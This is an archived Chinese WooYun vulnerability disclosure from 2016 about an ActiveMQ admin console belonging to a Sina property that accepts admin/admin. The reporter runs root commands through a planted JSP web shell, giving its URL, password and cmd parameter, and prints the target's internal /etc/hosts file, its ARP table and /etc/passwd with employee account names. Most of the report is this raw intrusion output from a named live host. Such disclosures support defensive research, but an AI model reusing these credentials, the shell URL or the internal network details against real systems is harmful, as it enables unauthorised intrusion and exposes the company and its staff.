新浪微米某系统弱口令getshell/root权限/内网环境二

编号224399
Urlhttp://www.wooyun.org/bug.php?action=view&id=224399
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题新浪微米某系统弱口令getshell/root权限/内网环境二
漏洞类型后台弱口令
厂商新浪
白帽子路人甲
提交日期2016-06-30 09:28:00
公开日期2016-07-04 10:30:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签admin/admin弱口令
关注数0
收藏数0
白帽评级
白帽自评rank12
厂商评级
厂商评rank0
漏洞简介
rt 紧跟上一个步伐,nmap了下c段,又发现一个。。。。
漏洞细节

http://wooyun.org/bugs/wooyun-2016-0224381
nmap了一下 c段的8161

111.png


http://183.136.160.212:8161/
ActiveMQ 弱口令 admin admin

111.png


111.png


也是root权限

111.png


http://183.136.160.212:8161/admin/test/sex.jsp?pwd=023&cmd=cat%20/etc/hosts
这个hosts里带sina.com.cn

# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1 localhost.localdomain localhost
::1 localhost6.localdomain6 localhost6
202.106.184.152 interface.blog.sina.com.cn
10.0.8.11 datacube_mongo
#shequ
10.221.149.246 shequ.dev.weimi.me
#postgresql
10.0.8.43 m_shihui_postgresql
10.0.8.43 s_shihui_postgresql
#hdfs
#10.0.8.123 wemeetcluster
10.0.8.11 storage.intra.hiwemeet.com
10.0.8.11 matrix_registry_1
10.0.8.11 matrix_registry_2
10.0.8.11 matrix_registry_3 mongodb_server
10.0.8.11 matrixmc_1 matrixuuid_1
10.0.8.11 matrixmc_2 matrixuuid_2
10.0.8.11 matrixmc_3 matrixuuid_3
10.0.8.11 matrixmc_4 matrixuuid_4
10.0.8.11 matrixdb m_api_db.intra.hiwemeet.com
10.0.8.11 s_api_db.intra.hiwemeet.com
10.0.8.235 matrixredis_1
10.0.8.235 matrixredis_2
10.0.8.235 matrixredis_3
10.0.8.235 matrixredis_4
10.0.8.12 sentinel.intra.hiwemeet.com
10.0.8.12 sentinel_host_1
10.0.8.12 sentinel_host_2
10.0.8.12 sentinel_host_3
10.0.8.11 pushserver push.intra.hiwemeet.com pushmsg.intra.hiwemeet.com
10.0.8.12 img.intra.hiwemeet.com amq.intra.hiwemeet.com searchService neo4j_server search.intra.hiwemeet.com test.api.intra.hiwemeet.com test.img.hiwemeet.com test.img.intra.hiwemeet.com test2.img.intra.hiwemeet.com
10.0.8.15 salt yum.intra.hiwemeet.com statsdserver repo.hiwemeet.com
10.0.8.102 sub.intra.hiwemeet.com
10.0.8.102 couchbase115 couchbase116
10.0.8.103 couchbase117 couchbase118
10.0.8.6 redis1.shihui.com
10.0.8.11 s_shihui_db.intra.hiwemeet.com
10.0.8.11 s_shihui_db.intra.ops.com
10.0.8.11 m_shihui_db.intra.hiwemeet.com
10.0.8.11 m_shihui_db.intra.ops.com
10.0.8.235 redis2.shihui.com
10.0.8.235 redis3.shihui.com
10.0.8.235 shihuiredis_1
10.0.8.235 shihuiredis_2
10.0.8.235 shihuiredis_3
10.0.8.235 shihuiredis_4
10.0.8.11 shihuimc_1
10.0.8.11 shihuimc_2
10.0.8.11 shihuimc_3
10.0.8.11 shihuimc_4
10.0.8.11 shihuimc_5
10.0.8.11 shihuimc_6
10.0.8.11 shihuimc_7
10.0.8.11 shihuimc_8
10.0.8.12 test2.img.intra.hiwemeet.com
10.0.8.12 test2.scorpio.ilianmeng.com
10.0.8.107 static.17shihui.cn
10.0.8.11 zoo1.api.intra.hiwemeet.com zoo2.api.intra.hiwemeet.com zoo3.api.intra.hiwemeet.com kafka1.api.intra.hiwemeet.com kafka2.api.intra.hiwemeet.com kafka3.api.intra.hiwemeet.com
183.136.160.238 test.op.welfare.17shihui.cn
183.136.160.212 test2.sapi.hiwemeet.com
10.0.8.43 m_shihuiapi_db.intra.hiwemeet.com s_shihuiapi_db.intra.hiwemeet.com
10.0.8.82 td.shihuibi.com
10.0.8.43 m_shihui_coin_db
10.0.8.43 s_shihui_coin_db
10.0.8.12 node12.intra.hiwemeet.com
10.0.8.46 node46.intra.hiwemeet.com


http://183.136.160.212:8161/admin/test/sex.jsp?pwd=023&cmd=arp%20-a

? (10.0.8.108) at C8:1F:66:D8:EB:CD [ether] on eth0
? (10.0.8.8) at 90:B1:1C:0E:A2:9B [ether] on eth0
webserver-10-0-8-57.s.cn (10.0.8.57) at 54:9F:35:0F:B6:04 [ether] on eth0
? (183.136.160.193) at 70:F9:6D:E2:F5:85 [ether] on eth1
? (10.0.8.62) at B8:CA:3A:EC:F3:64 [ether] on eth0
kafka-10-0-8-83.s.cn (10.0.8.83) at 54:9F:35:0F:C3:0C [ether] on eth0
webserver-10-0-8-53.s.cn (10.0.8.53) at F8:BC:12:4D:F8:40 [ether] on eth0
? (10.0.8.61) at 74:86:7A:DD:10:24 [ether] on eth0
m_shihui_postgresql (10.0.8.43) at 90:B1:1C:38:F2:3A [ether] on eth0
webserver-10-0-8-126.s.cn (10.0.8.126) at B8:2A:72:DF:B8:39 [ether] on eth0
static.17shihui.cn (10.0.8.107) at C8:1F:66:D8:E9:93 [ether] on eth0
datacube_mongo (10.0.8.11) at 90:B1:1C:11:A2:15 [ether] on eth0
webserver-10-0-8-52.s.cn (10.0.8.52) at C8:1F:66:FA:D6:84 [ether] on eth0
logserver-10-0-8-135.s.cn (10.0.8.135) at 54:9F:35:0F:61:E8 [ether] on eth0
webserver-10-0-8-51.s.cn (10.0.8.51) at C8:1F:66:FB:BF:B1 [ether] on eth0
? (10.0.8.7) at 90:B1:1C:10:8A:6C [ether] on eth0
redis1.shihui.com (10.0.8.6) at 90:B1:1C:11:9E:51 [ether] on eth0
? (10.0.8.119) at F8:BC:12:33:40:80 [ether] on eth0
salt (10.0.8.15) at 90:B1:1C:11:B2:BD [ether] on eth0
? (10.0.8.84) at 54:9F:35:0F:EB:A8 [ether] on eth0
? (10.0.8.194) at C0:EA:E4:91:7D:4B [ether] on eth0
td.shihuibi.com (10.0.8.82) at B8:CA:3A:F2:5D:7C [ether] on eth0
sub.intra.hiwemeet.com (10.0.8.102) at F8:BC:12:33:48:58 [ether] on eth0
? (10.0.8.1) at 3C:8C:40:A9:F6:3A [ether] on eth0
? (10.0.8.97) at F8:BC:12:33:22:C8 [ether] on eth0
? (10.0.8.253) at 90:B1:1C:10:84:38 [ether] on eth0
test.op.welfare.17shihui.cn (183.136.160.238) at C8:1F:66:D8:E9:94 [ether] on eth1
webserver-10-0-8-56.s.cn (10.0.8.56) at 54:9F:35:0F:B6:08 [ether] on eth0
? (10.0.8.64) at B8:CA:3A:EC:E0:9F [ether] on eth0
webserver-10-0-8-77.s.cn (10.0.8.77) at B8:CA:3A:F2:54:06 [ether] on eth0
? (10.0.8.76) at B8:CA:3A:F0:65:4F [ether] on eth0
webserver-10-0-8-130.s.cn (10.0.8.130) at B8:2A:72:E0:EA:7E [ether] on eth0
webserver-10-0-8-129.s.cn (10.0.8.129) at C8:1F:66:FB:1D:BF [ether] on eth0
webserver-10-0-8-125.s.cn (10.0.8.125) at 54:9F:35:0F:69:54 [ether] on eth0
? (183.136.160.207) at B8:CA:3A:F2:5D:7D [ether] on eth1
? (10.0.8.63) at B8:CA:3A:EC:90:0B [ether] on eth0
? (10.0.8.114) at C8:1F:66:D8:5F:01 [ether] on eth0


cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
yuanming:x:501:501::/home/yuanming:/bin/bash
haibo:x:502:502::/home/haibo:/bin/bash
chenbo:x:503:503::/home/chenbo:/bin/bash
liuxin:x:505:505::/home/liuxin:/bin/bash
yiqian:x:506:506::/home/yiqian:/bin/bash
xieying:x:507:507::/home/xieying:/bin/bash
xionghui:x:508:508::/home/xionghui:/bin/bash
guoliang:x:509:509::/home/guoliang:/bin/bash
yaoying:x:510:510::/home/yaoying:/bin/bash
gaozhi:x:511:511::/home/gaozhi:/bin/bash
mysql:x:101:105:MySQL server:/var/lib/mysql:/bin/bash
nginx:x:102:106:nginx user:/var/cache/nginx:/sbin/nologin
hanjian:x:512:512::/home/hanjian:/bin/bash
td-agent:x:513:513::/home/td-agent:/bin/bash
yifeng:x:514:514::/home/yifeng:/bin/bash
mongod:x:103:158:mongod:/var/lib/mongo:/bin/false
ganglia:x:104:159:Ganglia Monitoring System:/var/lib/ganglia:/sbin/nologin
nagios:x:515:515::/home/nagios:/bin/bash
dxp:x:516:500::/home/dxp:/bin/bash
chengzhong:x:517:4::/home/chengzhong:/bin/bash
fuyou:x:518:4::/home/fuyou:/bin/bash
hongjing:x:519:519::/home/hongjing:/bin/bash
redis:x:105:160::/home/redis:/sbin/nologin
haproxy:x:106:161::/home/haproxy:/sbin/nologin
couchbase:x:107:162:couchbase system user:/opt/couchbase-sync-gateway:/bin/sh
ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false
miaojie:x:520:520::/home/miaojie:/bin/bash
yongrong:x:521:521::/home/yongrong:/bin/bash
javadev:x:522:522::/home/javadev:/bin/bash
zabbix:x:523:523::/home/zabbix:/bin/bash
ceshi:x:524:4::/home/ceshi:/bin/bash
lcp:x:525:525::/home/lcp:/bin/bash


仅此证明。

POC

111.png

修复方案

弱口令

状态信息 2016-06-30: 细节已通知厂商并且等待厂商处理中
2016-07-04: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复请直接提交给微米官方联系修复。
回应信息危害等级:无影响厂商忽略忽略时间:2016-07-04 10:30
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

这就尴尬了。

j14n02016-06-30 11:06:00

微米已经被新浪卖掉了

孤独雪狼02016-06-30 11:03:00